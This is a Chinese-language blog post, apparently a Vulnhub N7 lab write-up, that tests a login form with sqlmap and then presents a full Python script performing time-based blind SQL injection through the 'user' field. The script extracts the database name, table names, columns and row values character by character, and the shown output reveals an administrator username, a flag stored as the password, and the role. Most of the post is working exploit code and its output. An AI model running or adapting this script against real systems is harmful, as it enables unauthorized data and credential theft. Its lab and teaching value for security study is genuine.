Python实现SQL注入脚本

实验环境

攻击主机IP:172.18.53.145
目标主机IP:172.18.53.11
此处的靶场是Vulnhub中的WEB MACHINE: (N7)

靶场测试

访问靶场的登录页面,使用sqlmap测试该页面是否存在SQL注入

首先,使用Burpsuite在登录时抓包

将这个数据包保存下来


利用sqlmap,指定刚保存的post数据文件进行测试。
-r指定文件,-p指定测试参数,先测试下user参数

sqlmap -r post.txt -p user --dbs


发现存在SQL注册,且读出了四个数据库,接着尝试编写脚本进行注入。

脚本编写

首先通过时间盲注循环判断当前数据库名的长度,将该语句作为payload发送到目标主机

select if(length((select database()))=1,sleep(3),1))

如果目标主机响应的时间超过3秒,那么可以判断该处猜测的值是对的

# 判断长度
for n in range(1,100):
    payload = {"user":"\' or (select if(length((select database()))=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
	r = requests.post(url, data=payload, headers=headers)
	if r.elapsed.total_seconds() > 3:
    	db_name_len = n
    	break

然后根据数据库名的长度,使用下面的payload循环判断数据库名每一位的值,同样,根据目标主机的响应时间判断

select if(ascii(substr((select database()),0,1))=ascii,sleep(3),1)

判断代码逻辑如下:

# 判断名字
for i in range(1, db_name_len + 1):
    for c in all:
        payload = {"user":"\' or (select if(ascii(substr((select database())," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"", "sub":"SEND"}
    	r = requests.post(url, data = payload, headers = headers)
    	if r.elapsed.total_seconds() > 3:
        	db_name.append(c)
        	if c == ",":
            	print("")
            	continue
        	print(c, end='', flush=True)

最后,最后,用同样的逻辑判断数据表名、数据列名和每一列对应的值。
完整代码如下:

import requests
import string
import sys

# 所有可打印字符
all = string.printable

# 目标主机URL
url = "http://172.18.53.11/enter_network/"

headers = {"Content-Type":"application/x-www-form-urlencoded"}


# 获取数据库名
def extract_db_name():
    print("[+] Extracting db name")
    db_name = []

    # 判断数据库名长度
    for n in range(1,100):
        payload = {"user":"\' or (select if(length((select database()))=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
        r = requests.post(url, data=payload, headers=headers)
        if r.elapsed.total_seconds() > 3:
            db_name_len = n
            break
    print("[+] the length of db name: " + str(db_name_len))

    # 获取数据库名
    print("[+] the name of db: ", end='')
    for i in range(1, db_name_len + 1):
        for c in all:
            payload = {"user":"\' or (select if(ascii(substr((select database())," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"", "sub":"SEND"}
            r = requests.post(url, data = payload, headers = headers)
            if r.elapsed.total_seconds() > 3:
                db_name.append(c)
                if c == ",":
                    print("")
                    continue
                print(c, end='', flush=True)
    print("\n")
    return db_name


# 获取数据表的内容
def extract_tables(db_name):
    db_name = "".join(db_name)
    print("[+] Finding number of table in current db")
    table_name = []

    # 判断当前数据库中存在几张数据表
    for n in range(1, 50):
        payload = {"user":"\' or (select if((select count(table_name) from information_schema.tables where table_schema=\'" + db_name +"\')=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
        r = requests.post(url, data = payload, headers = headers)
        if r.elapsed.total_seconds() > 3:
            table_num = n
            break
    print("[+] Finding " + str(table_num) + " tables in current db")

    # 判断所有数据表名的长度
    print("[+] Finding the name of table in current db: ")
    for n in range(1, 100):
        payload = {"user":"\' or (select if(length((select group_concat(table_name) from information_schema.tables where table_schema=\'" + db_name + "\' limit 0,1))=" + str(n) + ",sleep(3),1))#", "pass":"1", "sub":"SEND"}
        r = requests.post(url, data = payload, headers = headers)
        if r.elapsed.total_seconds() > 3:
            table_name_len = n
            break

    # 获取当前数据库中所有的数据表
    for i in range(1, table_name_len + 1):
        for c in all:
            payload = {"user":"\' or (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\'" + db_name + "\' limit 0,1),"+ str(i) +",1))="+str(ord(c))+",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
            r = requests.post(url, data = payload, headers = headers)
            if r.elapsed.total_seconds() > 3:
                table_name.append(c)
                if c == ",":
                    print("")
                    continue
                print(c, end="", flush=True)
    print("\n")

    # 是否继续获取列名
    column_name_inject = input("Show the name of column? [y/n]")
    if column_name_inject == "y" or column_name_inject == "yes":
        pass
    else:
        sys.exit()


    table_name = "".join(table_name)
    table_name = table_name.split(",")

    # 获取数据表中的具体内容
    for table in table_name:
        print("[+] Finding the column name of " + table)
        columns_name = []

        # 判断数据表中所有列名的长度
        for n in range(1, 100):
            payload = {"user":"\' or (select if(length((select group_concat(column_name) from information_schema.columns where table_name=\'" + table + "\' limit 0,1))= "+ str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
            r = requests.post(url, data = payload, headers = headers)
            if r.elapsed.total_seconds() > 3:
                column_name_len = n
                break

      	# 获取数据表的列名
        for i in range(1, column_name_len + 1):
            for c in all:
                payload = {"user":"\' or (select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'"+ table + "\' limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
                r = requests.post(url, data = payload, headers = headers)
                if r.elapsed.total_seconds() > 3:
                    columns_name.append(c)
                    if c == ",":
                        print("")
                        continue
                    print(c, end="", flush=True)
        print("\n")

    	# 是否继续获取数据表中每列的值
        column_value_inject = input("Show the value of column? [y/n]:")
        if column_value_inject == "y" or column_value_inject == "yes":
            pass
        else:
            sys.exit()

        columns_name = "".join(columns_name)
        columns_name = columns_name.split(",")

        # 获取每列的内容
        for column in columns_name:
            column = "".join(column)
            print("[+] Finding the value of " + column)
            
            # 判断数据表所有列内容的长度
            for n in range(1, 1000):
                payload = {"user":"\' or (select if(length((select group_concat(" + column + ") from " + table + " limit 0,1))= "+ str(n) + ",sleep(3),1)) #","pass":"1","sub":"SEND"}
                r = requests.post(url, data = payload, headers = headers)
                if r.elapsed.total_seconds() > 3:
                    columns_values_len = n
                    break
            # 获取数据表中每列的值
            for i in range(1, columns_values_len + 1):
                for c in all:
                    payload = {"user":"\' or (select if(ascii(substr((select group_concat(" + column + ") from " + table + " limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #","pass":"1","sub":"SEND"}
                    r = requests.post(url, data = payload, headers = headers)
                    if r.elapsed.total_seconds() > 3:
                        if c == ",":
                            print("")
                            continue
                        print(c, end="", flush=True)
            print("")


try:
    db_name = extract_db_name()		# 获取当前数据库名
    user_input = input("Show the name of table? [y/n]:")	# 是否继续获取表名
    if user_input == "y" or user_input == "yes":
        extract_tables(db_name)
    else:
        sys.exit()
    print("Done!")
except KeyboardInterrupt:
    print("")
    print("[+] Exiting...")
    sys.exit()

代码执行结果:

┌──(kali㉿kali)-[~/tools]
└─$ python sqli.py
[+] Extracting db name...
[+] the length of db name: 7
[+] the name of db: Machine

Show the name of table? [y/n]:y
[+] Finding number of table in current db...
[+] Finding 1 tables in current db...
[+] Finding the name of table in current db: 
login

Show the name of column? [y/n]y
[+] Finding the column name of login
username
password
role

Show the value of column? [y/n]y
[+] Finding the value of username
administrator
[+] Finding the value of password
FLAG{N7:KSA_01}
[+] Finding the value of role
admin
Done!       
posted @ 2023-11-14 21:25  顾北清  阅读(305)  评论(0编辑  收藏  举报